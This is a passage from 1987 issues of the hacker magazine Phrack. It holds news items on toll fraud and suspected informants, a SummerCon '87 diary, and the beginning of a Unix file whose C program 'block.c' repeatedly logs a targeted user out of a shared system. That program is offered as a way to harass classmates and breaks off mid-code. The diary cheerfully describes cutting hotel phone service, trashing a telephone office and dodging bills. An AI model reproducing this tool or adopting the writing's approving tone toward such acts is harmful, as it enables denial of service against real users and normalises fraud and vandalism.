It is obvious to see the ramifications here. A board or sysop gets busted and then makes a deal to turn over the board to some company or agency. To make sure that they get who they want, you have to give them all this info, and the only you can get a password is to let them mail it to you, thus guaranteeing that if something illegal is posted under that account, you are responsible, no ifs, ands, or buts.

Now, with the always helpful use of CN/A and various other special procedures, this reporter and several others have contacted the home of The Caretaker. TC will not admit to being or to not being The Caretaker. He says he "may be." Also, while speaking with to Taran King, TC tried to engineer Taran's phone number three times, using trickery like "let's be friends, what is your phone number?" TK gave the guy the MSP number, figuring everyone has it. Also TC is older than 18 (estimated at age 30), and he has three phone lines in his house. When called, he will not admit to who he is, who runs MS, or who is the sysop of it. Also, besides begging for you phone number (or demanding he call you). TC tries to trap you into admitting that you are/have committed toll fraud. In TK's case, TC tried to get Taran to admit to using other person's LD service PINs.

The whole aura of mystery around Metalland South seems enough to make it not worth calling. I urge you never to call this system and never send in information like that to any system.

Recently I have spoken with Iron Man, and he says "I gave the board to some guy cause I was sick of running it." Well, he is lying as you will see in the following transcript:

ME: So, gave it away. To who?

IM: I really don't know him that well. I can give you his first name. ME: No, that is okay. How old is he?

IM: I don't know. We only talked once and I sent him the software. ME: Is his name XXXXX, XXXXX (TC's real name)?

IM: I really don't know.

ME: So why did you give the board to someone you don't know?

IM: That was the only chance of keeping it up.

Now, IM do you know him or not? Do you just go throwing the board around? I thought you said you knew his first name?

^*^ How the heck could he send him the software and not know his name? (Yeah, I suppose he AE'd a 30 sub system. I can see it now, "To whom these disks concern."

^*^ Didn't IM seem to know much too little about The Caretaker? I could understand him not having the guy's last name or address, but not even knowing his age or where he lives..?

Here are some other things to think about. There is an entire subboard dedicated to law enforcement and the local police even have an account on the system under the name CRIMESTOPPERS. I wonder what they would have to say about codes on the bulletin board. Keep in mind that Metalland South has no affiliation with Metallibashers, Inc. or Metal Communications, Inc.

Please do not harass the board or its sysop(s), for it serves no purpose. Now understand that this article is not definitely stating that this board is directly connected to any law enforcement agency, you can decide this for yourself.

Article Written By >UNKNOWN USER< (An Anonymous Phrack Field Reporter)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Editorial Comments...

~~~~~~~~~~~~~~~~~~~~~

I just wanted to make a few comments about the above article. >UNKNOWN USER< is the official handle that shall be used by anyone supplying an article, but wishes for his name not to be mentioned. Its symbolic of the "anonymous user" function on Metal Shop Private, but it has no direct connection.

We, the editors of Phrack, do not necessarily agree with any of the above statements and we do encourage those with opposite viewpoints to voice them. PWN can be used as the forum for those viewpoints, in which I shall voice no opinion. One more thing, for the record, I did edit the article (with the author's consent) and will continue to do so to ensure that the original author's style will not revel their identity.

:Knight Lightning

________________________________________

Toll Fraud Trial Sets New Tone June 5, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From Network World

by Josh Gonze (Staff Writer)

"May be first jury finding for abuse"

Dallas ‑ The recent jury conviction of a Texas man for the theft and sale of long‑distance access codes may make it easier for long‑haul carriers to stem the tide of toll fraud, which costs the industry an estimated 500 million dollars a year.

On May 11, 1987, a U.S. District Court jury here [in Dallas] found Dallas resident Jack Brewer guilty on two counts each of trafficking and possession of telephone access codes stolen from Texas National Telecommunications Inc. (TNT), a Texas long‑distance carrier. Brewer was charged under a section of the federal COMPREHENSIVE CRIME CONTROL ACT of 1984.

Sources close to the case said Brewer may be the first person to be convicted by a jury for toll fraud in the United States. The case is also seen as important because it indicates growing recognition of toll fraud as a serious crime.

Brewer was selling the stolen codes, which telephone callers use to access long‑distance circuits of carriers other than AT&T and which those carriers use for billing, says Terry K. Ray, the Assistant U.S. Attorney who prosecuted Brewer. TNT officials said use of the stolen codes cost the company $30,000. Ray said he met with representatives of MCI Communications Corp. last week to discuss the investigative techniques used to apprehend Brewer and legal methods used to win the conviction. Brewer will be sentenced by a judge on June 4 [Yeah the story is a little old, so what], and faces a maximum sentence of 50 years imprisonment and a $1 million fine.

Toll fraud places a heavy financial burden on MCI and other carriers. Neither MCI or AT&T would divulge what toll fraud costs them, but U.S. Sprint Communications Co. said fraudulent use of access codes lowered its first‑quarter 1987 revenue by $19 million.

Brewer was apprehended through a sting operation conducted with the help of TNT, Southwestern Bell Corp., and the U.S. Secret Service. Southwestern Bell monitored Brewer's private telephone as he dialed numbers sequentially in a trial‑and‑error attempt to obtain active access numbers. The Regional Bell Holding Company kept a list of the working access codes obtained by Brewer. Secret Service agents then contacted Brewer, posing as buyers of access numbers. For $3,000, Brewer sold them a list of 15 numbers, which matched the list, made by the RBC [Just a tad greedy wasn't he?].

MCI has joined with AT&T, U.S. Sprint and some smaller carriers to form the Communications Fraud Control Association (CFCA). Rami Abuhamdeh, executive director of Tysons Corner, a Virginia based group, said there have been several convictions for toll fraud to date, but those cases were decided by judges, not juries.

A number of federal and state statues apply in stolen code cases, depending on how and when the offender defrauds the carrier, Abuhamdeh said. Gaston Sigur, a lawyer for exchanges, they will faze out code numbers as a way of accessing long‑distance circuits and the level of toll fraud will decline.

Thanks to Jester Sluggo Typed for PWN by Knight Lightning

________________________________________

PWN Quicknotes

~~~~~~~~~~~~~~

A guy who was involved in the California area phreak/pirate organization, known as The Duplicator, was reported as being killed in a plane crash. Info by Sir Francis Drake (3/31/87)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Doc Holiday was busted for hacking a COSMOS system that was local to him. Apparently, he dialed direct and the CO most likely had CLID. (4/2/87)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

KEN is working on version 3.0 of Forum‑PC, and there are rumors that it may be public domain.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Broadway Show BBS, once known as The Radio Station, will be returning to the 212 NPA. Please contact Broadway Hacker for details. Information From Broadway Hacker (4/16/87)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The rumor going around on Pirate‑80 (P‑80) that The Lineman is a fed should be disregarded as The Lineman in question lives in the western part of the nation and not the famous sysop of Atlantis. Information From The Lineman (4/20/87)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Special Notice: As of Phrack XVI, Lucifer 666 will become the author of Phrack World News. Please send any news, stories or articles to him. I will be mildly active, but only for special reports or editing.

Knight Lightning ‑ June 5, 1987

Phrack World News Issue XIV/2

PWN ^*^ PWN ^*^ PWN { SummerCon '87 } PWN ^*^ PWN ^*^ PWN

^*^

PWN Phrack World News PWN

^*^ Issue XIV/2 ^*^

PWN PWN

^*^ "SummerCon Strikes" ^*^

PWN PWN

^*^ Created, Written, and Edited ^*^ PWN by Knight Lightning PWN

^*^

PWN ^*^ PWN ^*^ PWN { SummerCon '87 } PWN ^*^ PWN ^*^ PWN

Welcome to Phrack World News Issue XIV/2. This issue features the exclusive coverage of SummerCon '87, which took place in St. Louis, Missouri during the weekend of June 19‑21, 1987. Before we get to the bulk of the issue I'd like to make a note that most of the people who originally claimed that they would attend did not show up, but this didn't stop us from having a great time. ‑KL

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

PreCon'87; Tuc Sunday, June 14, 1987

~~~~~~~~~~~~~~

It all started Sunday with the arrival of Tuc from New York. He checked in at the Executive International Best Western and then later went to visit the Volkswagon Car exhibit that was currently appearing in St. Louis at the National Museum Of Transportation.

Taran King and Knight Lightning went to meet Tuc at the hotel unaware that he had not yet returned from his visit. In the meantime they contacted several other associates to learn more about other guest's plans of arrival.

Sometime later, Tuc returned to the hotel and fell for a trick pulled by Knight Lightning and opened the door to his room. From here, PreCon'87 began and before too long Forest Ranger joined KL and TK. After some more greetings, Tuc unveiled some of his surprises including a few of his business cards.

The gathering broke up for a few hours and then regrouped (with the addition of Cheap Shades) back at the hotel. From there, Forest Ranger led the rest of us on a trek into Illinois (where they sell alcohol on Sundays). We finally reached a place called "Fast Eddie's," which served not only as a liquor store, but as a bar and whorehouse as well. Tuc and FR made their purchase and the party left for the hotel.

Things remained pretty calm for a while, as we contented ourselves with the consumption of alcoholic beverages. However, as the night lingered on, we became restless and loud. It wasn't long until lawn furniture started to disappear from the hotel's pool patio and this is when we received our first call from the hotel desk. Soon afterwards, we decided that is was time to eat and so we sent out for pizza.

Now, although we tried to keep the noise level down, apparently there were still complaints about us. About 27 minutes after we ordered the pizza, we received a visit from FR's sister‑in‑law who brought us a warning. "Get the hell out of here, the police are on their way!" That's all we needed to hear. Beer cans were grabbed and we were running for the door, when the hotel manager and security arrived. We explained that we were leaving and ran down the hallway. All of the sudden, the Domino's Pizza deliver man shows up. FR yelled, "Yo, Domino's dude. If you want to get paid, come down here!" There was no reaction. "Hey, you can deliver it to us here now or to jail, and then you won't get a tip." He finally got the point.

We grabbed the pizza and headed for a field north of Lambert Field (St. Louis International Airport). The place was known as the PVA (Private Viewing Area), but FR informed us that it was really a PFA (Private Fucking Area) as we noticed when we arrived. However, we were content with eating our pizza and drinking what was left of the beer. The hotel tried to get Tuc to pay for the room next door to his because the occupant complained that he didn't get any sleep. Tuc refused and checked out of the Best Western.

________________________________________

PreCon'87; The Omni International Hotel Thursday, June 18, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This event was hardly as eventful as the previous one, but at least I can fill in a few blank days. Monday, June 15, 1987, we all saw the movie "The Witches of Eastwick" and visited North West Plaza. Tuesday, June 16, 1987, I don't know about because I wasn't there. Wednesday, June 17, 1987, KL, TK, and Tuc visited Union Station (a luxurious shopping mall) and Tuc picked up souvenirs for friends back home.

On Thursday we had several guests arrive. Dan The Operator (a real geek) arrived the earliest and Lucifer 666 and Synthetic Slug arrived a little later (together). Excluding Cheap Shades at the time, we all converged at Taran's house where the excited crowd wanted to see Metal Shop Private. Sadly though, a disassembled shell was all that remained. It wasn't long before we became bored and left for the hotel. L666 and SS got a room and we killed the rest of the afternoon at North West Plaza. Afterwards we began to party it up in the room while watching TV.

Some hours later, we received a call from Bill From RNOC, who was traveling with Ninja NYC. They were at The Omni International Hotel, downtown and adjoining to Union Station. The Omni is one the most expensive hotels in the city and we were all anxious to see it. KL, TK, Dan The Operator, and Tuc left to go visit Bill and Ninja.

After some misadventures in downtown St. Louis, we arrived at The Omni, which was a pretty secure building. The elevators required a room key to be operated. It seems kinda silly though when you consider that the stairs didn't. So up we went to the third floor where Bill and Ninja were actually staying.

The rooms at The Omni aren't a whole lot bigger than at Best Western, but they are quite a bit nicer. They have a TV and a phone in the bathroom. The main TV is remote control and gives you a billing readout on channel 3. It was different.

Bill came well prepared for the Con, he had stacks of old and new issues of 2600 Magazine and other propaganda and material. He had several other interesting items as well including his mysterious notebooks that never left his sight. However, the most intriguing item that he had with him was his "bible." "Engineering and Operations in the Bell System" published by AT&T Bell Laboratories. You can guess what was inside.

So we all talked for a while and then said our goodbyes. The rest of the evening was for the most part uneventful for us, however, back at Best Western, Forest Ranger was lighting everything on fire and L666 attempted (unsuccessfully) to breath fire. I guess he wanted to live up to his name. SummerCon '87 was about to begin.

________________________________________

SummerCon '87; The Beginning Friday Morning, June 19, 1987 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This was the day we had been waiting for. Dan The Operator had shared a room with Tuc (and he still hasn't paid his share) and Bill From RNOC and Ninja NYC got a room at the Best Western. Everyone soon gathered in Bill's room and decided to order pizza.

So we called Pizza Hut, which was just down the road and Bill was very surprised to discover that they did not have "BIG Igloo Jugs." After harassing the lady on the phone for a while, Tuc, TK, KL, Shades, and Dan left to go pick up the pizza. We didn't know Dan was taping us, but that story will be told later. We messed around at Pizza Hut for a while and then headed back to the hotel. On the way we had a drag race with some guy who thought he had a cool car, we won.

It wasn't much longer until Sir Francis Drake arrived bearing surprises. With him was Dr. Strangelamb (named for Dr. Stranglove, who wasn't too happy about it), a small stuffed black sheep that makes a "baa" sound when turned over. Lucifer 666 had a lot of fun at the Con playing with it. SFD also had several pictures of Oryan QUEST, his car, and Aiken Drum. As far as QUEST's pictures go, well lets just say that The Executioner's file in Phrack 13 was totally correct.

While back at the hotel, we had some problems with the management. They didn't appreciate our attempts at putting up signs in the lobby for SummerCon people. We worked something out, but on a nearby payphone was perhaps the strangest person we encountered the whole weekend. It was some weird lady who barked and scream and kicked the wall, while on the phone. FR was on the phone next to her and she screamed the word "COCKSUCKER!" He looked at her and she said "My son‑in‑law, what an asshole." FR's response was, "Uh yeah, I think I know some people like that."

We relaxed for a while back in Bill's room (We couldn't stand to stay in L666's room because of the lingering smell of Synthetic Slug's shoes). As we became bored, things started to be taken apart. Like the TV, phone, and the internal speaker system in the room. Throughout all of this, Dan The Operator had been taping us, but again that will be explained later.

________________________________________

SummerCon '87; Lets Party! Friday Afternoon‑Evening, June 19, 1987 ~~~~~~~~~~~~~~~~~~~~~~~~~~

Lex Luthor and The Leftist arrived at St. Louis Center and called for further directions. After a long and tiring ordeal, they finally learned how to reach us. Unfortunately it was rush hour and it would take them some time. We killed an hour and before long they joined us at Best Western.

After introductions were made, Tuc called Lex out into the hall, and then they in turn called me, Taran King, and Bill From RNOC as well. The topic of discussion was Dan The Operator who had hinted earlier that he was going to get a picture of Lex Luthor, without his knowledge. Less than 3 minutes later, Ninja NYC followed by Dan The Operator (tape recorder on) sneaked out the window and tried to reenter the hallway undetected. Ninja had no way of knowing what we were discussing and thus allowed Dan to come with. Suddenly we all started to run towards Dan with the intention of beating the hell out of him. However, he sneaked back into the room through the window.

Once the excitement was over we headed out to dinner. It was mostly uneventful, except for the conversations on the way. I don't know what went on in Tuc's car, but in mine we discussed Dan. We split into two groups, one went to Imo's (a pizza joint) and the rest of us (Bill From RNOC, Ninja NYC, Lex Luthor, Tuc, The Leftist, and myself) went to a regular sit‑down restaurant. We discussed all sorts of different things both phreak and non‑phreak related, but again the main topic was Dan.

Soon we were joined by the others and we left to go back to Best Western where we found The Disk Jockey, LOKI, and Control C. These guys came extremely well prepared. They rented a station wagon somewhere in Michigan and filed it with a cooler (you can guess what was inside that), tons of magazines, manuals, electrical equipment, a mobile phone transmitter/receiver, and Control C's IBM PC, hard disk drive, and modem.

After which, Phantom Phreaker, Doom Prophet, Data Line, Forest Ranger, Bit Master, and another friend of FR's showed up. SummerCon '87 had begun. It was just a big party from then on, with the regular hotel party actions. Data Line had brought lots of TeleComputist back issues to the TeleComputist room and was distributing them around.

At different times during the night, the elevators were jammed and several people at the Con decided to go up on the roof. However, many of them also decided to search for the hotel's PBX system. Somewhere along the way, Control C, The Leftist, Lucifer 666, Cheap Shades, and I found ourselves locked inside the staircase of the main building.

The doors only opened from the outside, except at the bottom. Unfortunately opening the door at the bottom would result in sounding the fire alarm in the building. This was bad news because that was the last thing we needed. Even if it wasn't our fault there would be complications. So the five of us split up and each took a door to bang on. The hotel was mostly empty in these areas, but I knew that there were people on floor ten. So Lucifer 666 and I ran up ten flights of stairs and pounded on the door until we finally got a response, several in fact and many of the people weren't happy (it was after 11 PM). Before too long we had rounded up the rest of our crew and made it back to the rooms just in time to say good‑bye to Phantom Phreaker and Doom Prophet who were leaving for home (they would return for the Con tomorrow).

Several more hours of partying commenced, as well as hourly pizza deliveries. Everyone was having a great time, however as the night dragged on, the concern regarding Dan The Operator and his camera (and other things) grew. He had been found already talking to John Maxfield once that night on the payphones and had been caught asking questions about several of the people at the Con. It wasn't long before the word "TeleTrial" began to be chanted by most of the Con‑goers.

The interested parties gathered in the TeleComputist room and the interrogation began. Dan The Operator's explanations of events that evening had been proven false as they contradicted each other. The next step was to search his belongings. Forest Ranger led the prosecution and started through Dan's notebooks. In it was information about several of the people at the con and Taran King's and Forest Ranger's addresses (Dan had been to both their homes where he could have found the addresses). There were also phone numbers belonging to people that several Con‑goers called. Obviously Dan had been keeping his eyes and ears open in order to gather information.

Dan became worried when FR wanted to search his suitcase and they stepped outside for a moment. For some reason Dan was worried about us seeing his dirty underwear. Now why would he become so frantic about dirty underwear unless there was something especially dirty about it. You can come to your own conclusions about this one. Anyway, Dan brought all sorts of electrical equipment with him, including welding equipment and light switches and things. The most hilarious item that he brought was Garfield the cat, a stuffed animal that he slept with.

The camera, tape recorder, film, and tapes were confiscated for later examining and being that is was around 4 AM, everyone decided to get some sleep.

________________________________________

SummerCon '87; Conference Time Saturday, June 20, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taran King, Cheap Shades, and I arrived back at Best Western around 12 AM. Most of the other Con people were either still asleep or out for breakfast. By 12:45 almost everyone was back and we proceeded to the "Kitty Hawk Room."

Some of the clothing worn at the Con reflected the person's interests.

Bill From RNOC ‑ Computer Hacker (pic) Lex Luthor ‑ VAX/VMS Rules! Tuc ‑ UNIX Bozo

The Con started off rather slow as no one really knew how to get it started. Finally Lex Luthor decided to discuss the current rumors about the BBS decline. From there the topics included;

Bulletin Boards

Busts (Texas, Virginia, New York)

Fiber Optics

Automatic Number Identification (ANI)

REMOBS

Laws

Handles

Groups

Broadway Hacker

Methods of blowing 2600 Hertz

SCCS

4TELs

800 CLID

Later, Bill From RNOC told some stories about his exploits and proceeded to draw diagrams of whatever came to mind. Phantom Phreaker and Doom Prophet were upset that no one wanted to discuss CAMA.

In the meantime, I noticed that Dan The Operator had disappeared. Forest Ranger and I investigated only to discover that the tapes had disappeared as well. We caught up with Dan later and discovered that the tapes were now in Control C's rented station wagon. LOKI let me in and I took the cassette I had been looking for and a roll of film. The tape had all of my SummerCon article memos on it and this article is partially the result. We didn't know about side B, but more on that later.

After the Con, Taran King, Control C, Lucifer 666, Bill From RNOC, and I headed out to my house where we had some serious copying to do. Control C brought his computer and we began to copy Metal Shop Private on to his hard disk drive. While this was going on, Lucifer was receiving a copy of my very own PWN software to aid him when he takes over with issue XVI. I left the cassette and film at my house, its a pity I didn't play it right away because this article would have had a very different end.

Anyway, we finished up and then headed to Chesterfield Mall, a nearby shopping center. From there we proceeded to the local CO and recovered some interesting artifacts. Our next stop was to pick up some hardware that we needed and then more trashing. We returned to Best Western and learned that Lex Luthor and The Leftist had left due to Leftist's tight schedule.

The rest of the afternoon was mostly uneventful. Lots of rain and not much to do. As night approached, the party part of the Con began to restart. Several of us got bored with this and decided to explore parts of the hotel. We found a Navy wedding reception and decided to take in the food. The management didn't approve and we were bounced. So then we decided to take a look at the telephone wiring boxes in the hallways of the buildings. The problem was that to open them you had to rip out part of the wall. Nevertheless, things have a way of happening and the residents of several wings of the hotel found themselves without phone service.

The management didn't like what was happening at all and called the police to investigate. They spotted several of us running around the hotel and it was a mad dash back to the rooms for cover. LOKI was spotted going through an open window into Lucifer 666's room and the police decided to investigate it more closely. After an hour of panic and excitement, things cooled down and most of the people in Lucifer 666's room either went to sleep or were playing with Control C's computer and logging on to Metal Shop Private.

We were bored and so Ninja NYC, Bill From RNOC, Taran King, Tuc, and I decided to go throw ice on Dan The Operator. We ran down the hall and banged on L666's door. Suddenly one of the hotel managers appeared and threatened us that if we didn't go to our rooms and keep quiet he would call the police. We left the hall and went to the back parking lot. Ninja started a wheel rolling towards the building and we all knew what the result would be <CRASH!>.

Before it hit we ran at full speed around to the front of the hotel where we were greeted by a hefty officer of the Bridgeton Police Department. He was sort of leaning on his car facing us. It was so eerie because it almost seemed as though he knew we were coming and was waiting for us. We slowed down considerably until he said, "Run to me boys." No one really reacted until he said it again, "C'mon run to me boys." Ten seconds later he was joined by the asshole manager that had yelled at us not more than 60 seconds ago. "How old are you!?" he asked checking for curfew violations. Our replies varied from 17 to 21. "Where are you from!?" Bill and Tuc replied New York, the rest of us kept quiet. "Lets see some room keys!" We showed him two keys and then he looked at the asshole manager and said, "They belong here." "Why are you outside, what are you doing!" Taran replied, "Going to get something to eat, is that okay mister!?"

Our car was parked next to his and we took off for a while. He tried to follow us, but we quickly left his jurisdiction. While we were out we found the home of Bigfoot (the truck). We messed around there for a while and then returned to Best Western and walked around some of the vacant floors of the hotel.

The only other interesting activity we did that evening was a 3 AM trip to a 24 hour food store. Bill From RNOC, Taran King, Tuc, Sir Francis Drake, and I went to a Super Schnucks and messed around there. It was huge and we almost lost SFD. After making a few purchases, we went back to the home of Bigfoot and Taran decided to play bumper car with some of the super huge tires in the parking lot. We returned to the hotel for the last time and found Ninja NYC on the phone with L666's current girlfriend. We harassed her for a while and then I fell asleep. Taran and a few others made a few other trips around town and woke me up at about 6 AM Sunday morning.

________________________________________

SummerCon '87; Good‑bye & Good Luck! Sunday, June 21, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Forest Ranger dropped by early to take Bill From RNOC and Ninja NYC to the train station, Taran King went along for the ride. It would be over 24 hours before they got home. Tuc took Dan The Operator to the airport around 7 AM and at about 8 AM Cheap Shades and I dropped off Sir Francis Drake who was on his way to Boston. I took Cheap Shades home and then went back to my house to crash out.

Forest Ranger went back to Best Western to find everyone in Bill's room. Bill and Ninja never checked out because of an excessively large phone bill that they didn't want to pay, so everyone took advantage of this situation and started to to order room service. Sometime later a bellboy appeared to collect the money due for the room service and everyone left leaving Forest Ranger behind. "Hey, I'll be right back, I left my wallet in my car, hold on a sec, okay?" FR never returned and everyone went home except for Tuc who was at another hotel (He took a room at Ben Franklin because he wasn't welcome at Best Western after what happened the Sunday previous).

Around 10 AM, I decided that I didn't feel like sleeping and started playing the tape only to find several unauthorized recordings. Dan had been taping us all throughout the Con, but the interesting parts came later. There was part of an Alliance teleconference on the tape where Dan tried to act like he was some real important person (what a joke!) and a botched up social engineering job. The BIG shocker hit when I flipped the tape over to discover 45 minutes of a conversation with John Maxfield aka Cable Pair of BoardScan. I won't go into details about the conversations right now, but the scary part is that the tape ends before the phone call does. In other words we don't know exactly how much information was passed, but we do know that it has been an ongoing thing, perhaps for months. An actual overview and possible transcript of these conversations will appear in PWN XV.

I was in shock. I couldn't believe what I was hearing! It especially hurt when information was passed about people that I actually knew and had met. If only I had played that tape the night before, this would be a different story entirely. I didn't know exactly what to do. I had stopped calling out, but I was willing to pay for a few calls to spread the news. The only problem was that the majority of the people I wanted to contact were still en route home or unreachable. I finally was able to reach Tuc who was still in St. Louis. He dropped by and I played him the tape. Since then, Taran King and Forest Ranger have also heard most of the tape and preliminary investigations have begun.

We have discovered some information linking Dan The Operator to the FBI, but more on that next issue.

________________________________________

PWN SummerCon '87 Quicknotes

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SummerCon Promotional Posters were created by Lucifer 666. They featured many trademarks of well known telecommunications companies as well as different plans and schematics for boxes and other equipment.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Southern Baptists were in town during the week for some National convention of their own.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Johnny Rotten was supposed to appear at SummerCon '87 and called to confirm his plans on Friday Evening, June 19, 1987. He never appeared.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The full guest list of SummerCon '87 includes;

Bill From RNOC / Bit Master / Cheap Shades / Control C / Dan The Operator Data Line / Doom Prophet / Forest Ranger / Knight Lightning / Lex Luthor LOKI / Lucifer 666 / Ninja NYC / Phantom Phreaker / Sir Francis Drake Synthetic Slug / Taran King / The Disk Jockey / The Leftist / Tuc

In closing, SummerCon '87 was a fantastic success and anyone who missed it, missed out! See you next year at SummerCon '88. Plans are already being made!

:Knight Lightning

________________________________________

15

- Phrack XV Intro by Shooting Shark

- More Stupid Unix Tricks by Shooting Shark

- Making Free Local Payfone Calls by Killer Smurf

- Advanced Carding XIV by The Disk Jockey

- Gelled Flame Fuels by Elric of Imrryr

- PWN I by Knight Lightning

- PWN II by Knight Lightning

- PWN III by unknown

Phrack XV Intro

===== Phrack Magazine presents Phrack 15 =====

===== File 1 of 8 : Phrack 15 Intro =====

8/7/87

So, did you miss us? Yes, Phrack is back! Phrack Magazine's beloved founders, Taran King and Knight Lightning, have gone off to college, and the recent busts (summarized completely in this month's Phrack World News) have made it difficult to keep the magazine going.

TK and KL have put the editorship of Phrack in the hands of Elric of Imrryr and Sir Francis Drake. SFD is primarily responsible for PWN. As of yet we have no 'Official Phrack BBS.'

Due to various obstacles, the first issue under the new editorship is rather small. Fortunately, however, the overall quality of the files presented is among the highest ever. We've managed to keep references to Oryan QUEST down to as little as possible and we've resisted the temptation to include some second‑rate files as "fillers." Naturally, we're still looking for excellent, unpublished phreak/hack/pyro/anarchy files to publish in Phrack XVI and beyond. If you have an article, we'd like to see it! Get in touch with SFD or Elric when your file is ready for submission.

Shooting Shark

Contributing Editor

Note: For now you can contact Phrack Inc. at:

Lunatic Labs: 415‑278‑7421 300/1200 (Sir Francis Drake or Elric of Imrryr) Free World: 301‑668‑7657 300/1200/2400/9600 (Disk Jockey)

Phrack XV Table of Contents

===========================

15‑1. Phrack XV Intro by Shooting Shark (2K) 15‑2. More Stupid Unix Tricks by Shooting Shark (10K) 15‑3. Making Free Local Payfone Calls by Killer Smurf (7K) 15‑4. Advanced Carding XIV by The Disk Jockey (12K) 15‑5. Gelled Flame Fuels by Elric of Imrryr (12K) 15‑6. PWN I: The Scoop on Dan The Operator by KL (19K) 15‑7. PWN II: The July Busts by Knight Lightning (21K) 15‑8. PWN III: The Affidavit by SFD (6K)

More Stupid Unix Tricks

===== Phrack Magazine presents Phrack 15 =====

===== File 2 of 8 =====

I thought I had written everything there is to write about the Unix operating system until I was recently asked to put out yet another file... so I said "I'll try, but don't publish my file along with an article by The Radical Rocker this time!" These demands having been met, I booted up the PC and threw together...

‑‑‑ ‑‑‑‑ ‑‑‑‑ ‑‑‑‑‑‑ ‑‑

% Yet Even More Stupid Things to Do With Unix! $

‑‑‑ ‑‑‑‑ ‑‑‑‑ ‑‑‑‑‑‑ ‑‑

By Shooting Shark.

Submitted August 26, 1987

These two topics are methods of annoying other users of the system and generally being a pest. But would you want to see a file on *constructive* things to do with Unix? Didn't think so...

‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑‑‑‑

1. Keeping Users Off The System

‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑‑‑

Now, we all know by now how to log users off (one way is to redirect an 'stty 0' command to their tty) but unless you have root privs, this will not work when a user has set 'mesg n' and prevented other users from writing to their terminal. But even users who have a 'mesg n' command in their .login (or .profile or .cshrc) file still have a window of vulnerability, the time between login and the locking of their terminal. I designed the following program, block.c, to take advantage of this fact.

To get this source running on your favorite Unix system, upload it, call it 'block.c', and type the following at the % or $ prompt:

cc ‑o block block.c

once you've compiled it successfully, it is invoked like so:

block username [&]

The & is optional and recommended ‑ it runs the program in the background, thus letting you do other things while it's at work.

If the user specified is logged in at present, it immediately logs them out (if possible) and waits for them to log in. If they aren't logged in, it starts waiting for them. If the user is presently logged in but has their messages off, you'll have to wait until they've logged out to start the thing going.

Block is essentially an endless loop : it keeps checking for the occurrence of the username in /etc/utmp. When it finds it, it immediately logs them out and continues. If for some reason the logout attempt fails, the program aborts. Normally this won't happen ‑ the program is very quick when run unmodified. However, to get such performance, it runs in a very tight loop and will eat up a lot of CPU time. Notice that near the end of the program there is the line:

/*sleep(SLEEP) */

the /* and */ are comment delimiters ‑ right now the line is commented out.

If you remove the comments and re‑compile the program, it will then 'go to sleep' for the number of seconds defined in SLEEP (default is 5) at the end of every loop. This will save the system load but will slightly decrease the odds of catching the user during their 'window of vulnerability.'

If you have a chance to run this program at a computer lab at a school or somewhere similar, run this program on a friend (or an enemy) and watch the reaction on their face when they repeatedly try to log in and are logged out before they can do *anything*. It is quite humorous. This program is also quite nasty and can make you a lot of enemies!

caveat #1: note that if you run the program on yourself, you will be logged out, the program will continue to run (depending on the shell you're under) and you'll have locked yourself out of the system ‑ so don't do this!

caveat #2: I wrote this under OSx version 4.0, which is a licensed version of Unix which implements 4.3bsd and AT&T sysV. No guarantees that it will work on your system.

caveat #3: If you run this program in background, don't forget to kill it when you're done with it! (when you invoke it with '&', the shell will give you a job number, such as '[2] 90125'. If you want to kill it later in the same login session, type 'kill %2'. If you log in later and want to kill it, type 'kill 90125'. Just read the man page on the kill command if you need any help...

‑‑‑‑‑ cut here ‑‑‑‑‑

/* block.c ‑‑ prevent a user from logging in

* by Shooting Shark

* usage : block username [&]

* I suggest you run this in background.

*/

#include <stdio.h>

#include <utmp.h>

#include <ctype.h>

#include <termio.h>

#include <fcntl.h>

#define W_OK2

#define SLEEP5

#define UTMP"/etc/utmp"

#define TTY_PRE "/dev/"

main(ac,av)

int ac;

char *av[];

{

int target, fp, open();

struct utmpuser;

struct termio*opts;

char buf[30], buf2[50];

if (ac != 2) {

printf("usage : %s username\n",av[0]);

exit(‑1);

}

for (;;) {

if ((fp = open(UTMP,0)) == ‑1) {

printf("fatal error! cannot open %s.\n",UTMP);

exit(‑1);

}

while (read(fp, &user, sizeof user) > 0) {

if (isprint(user.ut_name[0])) {

if (!(strcmp(user.ut_name,av[1]))) {

printf("%s is logging in...",user.ut_name); sprintf(buf,"%s%s",TTY_PRE,user.ut_line);

printf("%s\n",buf);

if (access(buf,W_OK) == ‑1) {

printf("failed ‑ program aborting.\n");

exit(‑1);

}

else {

